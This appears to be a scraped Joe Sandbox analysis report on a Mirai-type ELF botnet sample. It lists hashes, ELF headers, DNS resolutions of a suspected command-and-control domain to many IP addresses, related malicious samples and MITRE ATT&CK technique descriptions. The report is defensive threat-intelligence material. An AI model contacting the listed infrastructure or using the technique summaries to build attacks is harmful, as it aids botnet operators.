	g2PqnVy6cQ.elf	Get hash	malicious	Mirai, Okiru	Browse	163.31.196.144
	dugw41p62T.elf	Get hash	malicious	Mirai	Browse	140.92.227.247
	sZyq3DvYmc.elf	Get hash	malicious	Mirai	Browse	163.31.196.154
	dPFRrhKTeG.elf	Get hash	malicious	Unknown	Browse	163.39.57.199
	Oo2yeTdq5J.elf	Get hash	malicious	Mirai	Browse	210.240.35.127
	Vedtb2CYvY.elf	Get hash	malicious	Mirai	Browse	210.60.42.141

Process:	/tmp/01EF8hZ6ib.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.1931867146432875
Encrypted:	false
SSDEEP:	6:URe6gceFXsZdFT/VcceFXkVVC/VQEVl/VDM/V+4D/VH:IeoewFneOPEVDMfF
MD5:	1BB1AD9DB28F7192AA03D6F7999E65FD
SHA1:	E6B7C1035FCBDE27EC8C74FFCB905629FA1A3781
SHA-256:	B84448C2D924CEBF63119E4388A0D1E0E57170E2FDE5142BC9550310E515329F
SHA-512:	D2BAFD512CF627DC0AB3473F4501B1338BECA4B1D2447922AAA443E81CFDAB606F0F982D6618E02E3ECEFA7AB9607FC52560C7D4E8E37CC5C0736F332A14A353
Malicious:	false
Reputation:	low
Preview:	400000-40e000 r-xp 00000000 fd:00 531567 /tmp/..41d000-41e000 rw-p 0000d000 fd:00 531567 /tmp/..41e000-420000 rw-p 00000000 00:00 0 .420000-421000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.7978031189737145
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	01EF8hZ6ib.elf
File size:	57'132 bytes
MD5:	f86a498acb64f205545f7412bb0c72d1
SHA1:	c1caf7f78b8d33f2f5867a5458d0572f9600a975
SHA256:	db52883f8dc68b274687a673caa11647c58e4cc61151f9af9d4a2ec0940f5feb
SHA512:	24a3bf25956ea28ca8aac004a1309aa296f32956e1296c283b82b4f1d9ed6a881061ba87a2851870f3cbaa78c7efb84d5675f0294742c6255092e35bf98b8e96
SSDEEP:	1536:Sa0wtUA9GvfjX+mckIIYH5bEixbCPUnI8sR:Sz+9GnjslZ/xb7nI
TLSH:	3E436C67847AAED4D54D45B4A8208A355F03F210D2A62FFB6E85C5E65043EBCFA1E3F0
File Content Preview:	.ELF.....................@.4...t.......4. ...(...............@...@...........................A...A.\|...............Q.td............................././"O.n........#.@........#.*@.....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0x9
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	56692
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x30	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0xc9c0	0x0	0x6	AX	32
.fini	PROGBITS	0x40caa0	0xcaa0	0x24	0x0	0x6	AX	4
.rodata	PROGBITS	0x40cac4	0xcac4	0x10ec	0x0	0x2	A	4
.ctors	PROGBITS	0x41dbb4	0xdbb4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x41dbbc	0xdbbc	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x41dbc4	0xdbc4	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x41dbc8	0xdbc8	0x168	0x0	0x3	WA	4
.bss	NOBITS	0x41dd30	0xdd30	0x1198	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xdd30	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0xdbb0	0xdbb0	6.8418	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xdbb4	0x41dbb4	0x41dbb4	0x17c	0x1314	0.8856	0x6	RW	0x10000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 27, 2024 06:20:50.308631897 CEST	95.216.99.249	192.168.2.13	0x4269	No error (0)	burnthe.libre	204.76.203.101	A (IP address)	IN (0x0001)	false
Apr 27, 2024 06:20:50.308631897 CEST	95.216.99.249	192.168.2.13	0x4269	No error (0)	burnthe.libre	86.104.194.181	A (IP address)	IN (0x0001)	false
Apr 27, 2024 06:20:50.308631897 CEST	95.216.99.249	192.168.2.13	0x4269	No error (0)	burnthe.libre	204.76.203.223	A (IP address)	IN (0x0001)	false
Apr 27, 2024 06:20:50.308631897 CEST	95.216.99.249	192.168.2.13	0x4269	No error (0)	burnthe.libre	5.181.80.130	A (IP address)	IN (0x0001)	false
Apr 27, 2024 06:20:50.308631897 CEST	95.216.99.249	192.168.2.13	0x4269	No error (0)	burnthe.libre	204.76.203.103	A (IP address)	IN (0x0001)	false
Apr 27, 2024 06:20:50.308631897 CEST	95.216.99.249	192.168.2.13	0x4269	No error (0)	burnthe.libre	204.76.203.5	A (IP address)	IN (0x0001)	false
Apr 27, 2024 06:20:50.308631897 CEST	95.216.99.249	192.168.2.13	0x4269	No error (0)	burnthe.libre	5.181.80.61	A (IP address)	IN (0x0001)	false
Apr 27, 2024 06:20:50.308631897 CEST	95.216.99.249	192.168.2.13	0x4269	No error (0)	burnthe.libre	5.181.80.140	A (IP address)	IN (0x0001)	false
Apr 27, 2024 06:20:50.308631897 CEST	95.216.99.249	192.168.2.13	0x4269	No error (0)	burnthe.libre	204.76.203.63	A (IP address)	IN (0x0001)	false
Apr 27, 2024 06:20:50.308631897 CEST	95.216.99.249	192.168.2.13	0x4269	No error (0)	burnthe.libre	86.104.194.178	A (IP address)	IN (0x0001)	false
Apr 27, 2024 06:20:50.308631897 CEST	95.216.99.249	192.168.2.13	0x4269	No error (0)	burnthe.libre	5.181.80.59	A (IP address)	IN (0x0001)	false
Apr 27, 2024 06:20:50.308631897 CEST	95.216.99.249	192.168.2.13	0x4269	No error (0)	burnthe.libre	5.181.80.189	A (IP address)	IN (0x0001)	false
Apr 27, 2024 06:20:50.308631897 CEST	95.216.99.249	192.168.2.13	0x4269	No error (0)	burnthe.libre	5.181.80.60	A (IP address)	IN (0x0001)	false
Apr 27, 2024 06:20:50.308631897 CEST	95.216.99.249	192.168.2.13	0x4269	No error (0)	burnthe.libre	86.104.194.171	A (IP address)	IN (0x0001)	false
Apr 27, 2024 06:20:50.308631897 CEST	95.216.99.249	192.168.2.13	0x4269	No error (0)	burnthe.libre	86.104.194.115	A (IP address)	IN (0x0001)	false

Start time (UTC):	04:20:48
Start date (UTC):	27/04/2024
Path:	/tmp/01EF8hZ6ib.elf
Arguments:	/tmp/01EF8hZ6ib.elf
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	04:20:49
Start date (UTC):	27/04/2024
Path:	/tmp/01EF8hZ6ib.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report 01EF8hZ6ib.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0PGojN (deleted)

/tmp/qemu-open.0tK53K (deleted)

/tmp/qemu-open.2UX0bL (deleted)

/tmp/qemu-open.3HbOMM (deleted)

/tmp/qemu-open.3aU7bO (deleted)

/tmp/qemu-open.3h7wiM (deleted)

/tmp/qemu-open.3jwdVK (deleted)

/tmp/qemu-open.4OFd9N (deleted)

/tmp/qemu-open.4o9kjL (deleted)

/tmp/qemu-open.5JFjdO (deleted)

/tmp/qemu-open.5LQtiL (deleted)

/tmp/qemu-open.6SoYrM (deleted)

/tmp/qemu-open.6YAdqM (deleted)

/tmp/qemu-open.6dHR8L (deleted)

/tmp/qemu-open.6dV2HL (deleted)

/tmp/qemu-open.7gIs2K (deleted)

/tmp/qemu-open.865PZK (deleted)

/tmp/qemu-open.8MT5cK (deleted)

/tmp/qemu-open.8OaFeM (deleted)

/tmp/qemu-open.8WHmWM (deleted)

/tmp/qemu-open.974IAL (deleted)

/tmp/qemu-open.97bDWJ (deleted)

/tmp/qemu-open.9CO9SN (deleted)

/tmp/qemu-open.9H6CbO (deleted)

/tmp/qemu-open.9LOFlN (deleted)

/tmp/qemu-open.9euDjL (deleted)

/tmp/qemu-open.9jOI0N (deleted)

/tmp/qemu-open.9ope1J (deleted)

/tmp/qemu-open.9rlkVM (deleted)

/tmp/qemu-open.9tJ6iL (deleted)

/tmp/qemu-open.BQg5SN (deleted)

/tmp/qemu-open.BlPT9N (deleted)

Linux Analysis Report
01EF8hZ6ib.elf

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre